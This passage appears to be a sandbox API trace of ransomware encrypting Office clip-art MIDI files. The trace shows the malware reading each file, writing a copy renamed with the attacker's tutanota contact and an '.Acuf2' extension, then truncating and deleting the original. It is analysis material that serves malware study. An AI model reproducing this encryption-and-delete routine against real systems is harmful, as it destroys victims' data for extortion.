	[0255.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.515] lstrlenW (lpString=".zip") returned 4
	[0255.515] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.515] lstrlenW (lpString=".rar") returned 4
	[0255.515] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.515] lstrlenW (lpString=".bz2") returned 4
	[0255.515] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.515] lstrlenW (lpString=".7z") returned 3
	[0255.515] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.515] lstrlenW (lpString=".dbf") returned 4
	[0255.515] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.515] lstrlenW (lpString=".1cd") returned 4
	[0255.515] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.515] lstrlenW (lpString=".jpg") returned 4
	[0255.515] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.515] lstrlenW (lpString=".doc") returned 4
	[0255.515] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.516] lstrlenW (lpString=".docx") returned 5
	[0255.516] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.516] lstrlenW (lpString=".pdf") returned 4
	[0255.516] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.516] lstrlenW (lpString=".xls") returned 4
	[0255.516] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.516] lstrlenW (lpString=".xlsx") returned 5
	[0255.516] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.516] lstrlenW (lpString=".ppt") returned 4
	[0255.516] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.516] lstrlenW (lpString=".zip") returned 4
	[0255.516] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.516] lstrlenW (lpString=".rar") returned 4
	[0255.516] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.516] lstrlenW (lpString=".bz2") returned 4
	[0255.516] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.516] lstrlenW (lpString=".7z") returned 3
	[0255.516] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.516] lstrlenW (lpString=".dbf") returned 4
	[0255.516] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.516] lstrlenW (lpString=".1cd") returned 4
	[0255.516] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63
	[0255.516] lstrlenW (lpString=".jpg") returned 4
	[0255.516] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.517] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.517] lstrlenW (lpString="PARNT_09.MID") returned 12
	[0255.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.546] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=6764) returned 1
	[0255.546] CloseHandle (hObject=0x2a4) returned 1
	[0255.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20
	[0255.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.640] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.640] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.785] GetLastError () returned 0x0
	[0255.785] ReadFile (in: hFile=0x28c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1a6c, lpOverlapped=0x0) returned 1
	[0255.790] WriteFile (in: hFile=0x344, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1a70, lpOverlapped=0x0) returned 1
	[0255.791] ReadFile (in: hFile=0x28c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.791] WriteFile (in: hFile=0x344, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.791] SetEndOfFile (hFile=0x344) returned 1
	[0255.792] CloseHandle (hObject=0x344) returned 1
	[0255.792] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.792] SetEndOfFile (hFile=0x28c) returned 1
	[0255.794] CloseHandle (hObject=0x28c) returned 1
	[0255.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1
	[0255.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.794] lstrlenW (lpString=".doc") returned 4
	[0255.794] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.794] lstrlenW (lpString=".docx") returned 5
	[0255.794] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0255.794] lstrlenW (lpString=".pdf") returned 4
	[0255.794] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.794] lstrlenW (lpString=".xls") returned 4
	[0255.794] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.794] lstrlenW (lpString=".xlsx") returned 5
	[0255.794] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0255.794] lstrlenW (lpString=".ppt") returned 4
	[0255.794] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.795] lstrlenW (lpString=".zip") returned 4
	[0255.795] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.795] lstrlenW (lpString=".rar") returned 4
	[0255.795] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.795] lstrlenW (lpString=".bz2") returned 4
	[0255.795] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.795] lstrlenW (lpString=".7z") returned 3
	[0255.795] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.795] lstrlenW (lpString=".dbf") returned 4
	[0255.795] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.795] lstrlenW (lpString=".1cd") returned 4
	[0255.795] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.795] lstrlenW (lpString=".jpg") returned 4
	[0255.795] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.795] lstrlenW (lpString=".doc") returned 4
	[0255.795] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.795] lstrlenW (lpString=".docx") returned 5
	[0255.795] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0255.795] lstrlenW (lpString=".pdf") returned 4
	[0255.795] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.795] lstrlenW (lpString=".xls") returned 4
	[0255.795] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.795] lstrlenW (lpString=".xlsx") returned 5
	[0255.795] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0255.796] lstrlenW (lpString=".ppt") returned 4
	[0255.796] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.796] lstrlenW (lpString=".zip") returned 4
	[0255.796] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.796] lstrlenW (lpString=".rar") returned 4
	[0255.796] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.796] lstrlenW (lpString=".bz2") returned 4
	[0255.796] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.796] lstrlenW (lpString=".7z") returned 3
	[0255.796] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.796] lstrlenW (lpString=".dbf") returned 4
	[0255.796] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.796] lstrlenW (lpString=".1cd") returned 4
	[0255.796] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63
	[0255.796] lstrlenW (lpString=".jpg") returned 4
	[0255.796] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.796] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.796] lstrlenW (lpString="SAFRI_01.MID") returned 12
	[0255.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.964] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=10122) returned 1
	[0255.964] CloseHandle (hObject=0x338) returned 1
	[0255.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20
	[0255.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.984] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.984] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.011] GetLastError () returned 0x0
	[0256.011] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x278a, lpOverlapped=0x0) returned 1
	[0256.012] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x2790, lpOverlapped=0x0) returned 1
	[0256.014] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.014] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.014] SetEndOfFile (hFile=0x28c) returned 1
	[0256.014] CloseHandle (hObject=0x28c) returned 1
	[0256.014] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.014] SetEndOfFile (hFile=0x344) returned 1
	[0256.018] CloseHandle (hObject=0x344) returned 1
	[0256.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1
	[0256.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.045] lstrlenW (lpString=".doc") returned 4
	[0256.045] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.045] lstrlenW (lpString=".docx") returned 5
	[0256.045] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.045] lstrlenW (lpString=".pdf") returned 4
	[0256.045] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.045] lstrlenW (lpString=".xls") returned 4
	[0256.045] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.045] lstrlenW (lpString=".xlsx") returned 5
	[0256.045] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.045] lstrlenW (lpString=".ppt") returned 4
	[0256.045] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.046] lstrlenW (lpString=".zip") returned 4
	[0256.046] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.046] lstrlenW (lpString=".rar") returned 4
	[0256.046] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.046] lstrlenW (lpString=".bz2") returned 4
	[0256.046] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.046] lstrlenW (lpString=".7z") returned 3
	[0256.046] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.046] lstrlenW (lpString=".dbf") returned 4
	[0256.046] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.046] lstrlenW (lpString=".1cd") returned 4
	[0256.046] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.046] lstrlenW (lpString=".jpg") returned 4
	[0256.046] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.046] lstrlenW (lpString=".doc") returned 4
	[0256.046] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.046] lstrlenW (lpString=".docx") returned 5
	[0256.046] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.046] lstrlenW (lpString=".pdf") returned 4
	[0256.046] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.046] lstrlenW (lpString=".xls") returned 4
	[0256.046] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.046] lstrlenW (lpString=".xlsx") returned 5
	[0256.047] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.047] lstrlenW (lpString=".ppt") returned 4
	[0256.047] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.047] lstrlenW (lpString=".zip") returned 4
	[0256.047] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.047] lstrlenW (lpString=".rar") returned 4
	[0256.047] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.047] lstrlenW (lpString=".bz2") returned 4
	[0256.047] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.047] lstrlenW (lpString=".7z") returned 3
	[0256.047] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.047] lstrlenW (lpString=".dbf") returned 4
	[0256.047] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.047] lstrlenW (lpString=".1cd") returned 4
	[0256.047] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63
	[0256.047] lstrlenW (lpString=".jpg") returned 4
	[0256.047] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.048] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0256.048] lstrlenW (lpString="VCTRN_01.MID") returned 12
	[0256.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.050] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=4961) returned 1
	[0256.050] CloseHandle (hObject=0x320) returned 1
	[0256.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20
	[0256.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.050] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.050] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0256.051] GetLastError () returned 0x0
	[0256.051] ReadFile (in: hFile=0x320, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1361, lpOverlapped=0x0) returned 1
	[0256.056] WriteFile (in: hFile=0x358, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1370, lpOverlapped=0x0) returned 1
	[0256.057] ReadFile (in: hFile=0x320, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.057] WriteFile (in: hFile=0x358, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.057] SetEndOfFile (hFile=0x358) returned 1
	[0256.057] CloseHandle (hObject=0x358) returned 1
	[0256.057] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.057] SetEndOfFile (hFile=0x320) returned 1
	[0256.060] CloseHandle (hObject=0x320) returned 1
	[0256.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1
	[0256.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.060] lstrlenW (lpString=".doc") returned 4
	[0256.060] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.060] lstrlenW (lpString=".docx") returned 5
	[0256.060] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.060] lstrlenW (lpString=".pdf") returned 4
	[0256.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.060] lstrlenW (lpString=".xls") returned 4
	[0256.060] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.060] lstrlenW (lpString=".xlsx") returned 5
	[0256.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.061] lstrlenW (lpString=".ppt") returned 4
	[0256.061] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.061] lstrlenW (lpString=".zip") returned 4
	[0256.061] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.061] lstrlenW (lpString=".rar") returned 4
	[0256.061] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.061] lstrlenW (lpString=".bz2") returned 4
